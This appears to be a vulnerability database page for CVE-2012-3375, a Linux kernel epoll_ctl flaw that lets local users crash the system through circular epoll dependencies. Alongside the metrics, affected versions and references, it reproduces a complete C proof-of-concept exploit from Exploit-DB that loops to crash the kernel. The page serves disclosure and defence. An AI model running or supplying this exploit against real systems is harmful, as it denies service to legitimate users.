CVE-2012-3375 : Detail

CVE-2012-3375

0.05%V3
Local
2012-10-03
08h00 +00:00
2013-01-24
09h00 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The epoll_ctl system call in fs/eventpoll.c in the Linux kernel before 3.2.24 does not properly handle ELOOP errors in EPOLL_CTL_ADD operations, which allows local users to cause a denial of service (file-descriptor consumption and system crash) via a crafted application that attempts to create a circular epoll dependency. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1083.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19605

Publication date : 2012-07-04 22h00 +00:00
Author : Yurij M. Plotnikov
EDB Verified : Yes

/* The Linux Kernel is prone to a local denial-of-service vulnerability. Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users. */ #include <netinet/in.h> #include <sys/epoll.h> #include <errno.h> int main () { struct sockaddr_in addr; struct epoll_event event; int epfd1, epfd2, sock; int rc; int i = 0; while (1) { printf("ITERATION %d\n", ++i); epfd1 = epoll_create(1); printf("epoll_create() -> %d(%d)\n", epfd1, errno); epfd2 = epoll_create(1); printf("epoll_create() -> %d(%d)\n", epfd2, errno); sock = socket(PF_INET, SOCK_STREAM, 0); printf("socket() -> %d(%d)\n", sock, errno); addr.sin_family = AF_INET; addr.sin_port = 0; addr.sin_addr.s_addr = 0; rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr)); printf("bind() -> %d(%d)\n", rc, errno); rc = listen(sock, 1); printf("listen() -> %d(%d)\n", rc, errno); event.data.fd = sock; event.events = 0; rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); event.data.fd = epfd2; event.events = EPOLLIN; rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); event.data.fd = epfd1; event.events = EPOLLIN; rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); rc = close(epfd1); printf("close(epfd1) -> %d(%d)\n", rc, errno); rc = close(epfd2); printf("close(epfd2) -> %d(%d)\n", rc, errno); rc = close(sock); printf("close(sock) -> %d(%d)\n", rc, errno); sleep(1); printf("\n\n"); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.2.23

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

References

http://www.securitytracker.com/id?1027237
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/51164
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2012/07/04/2
Tags : mailing-list, x_refsource_MLIST
http://ubuntu.com/usn/usn-1529-1
Tags : vendor-advisory, x_refsource_UBUNTU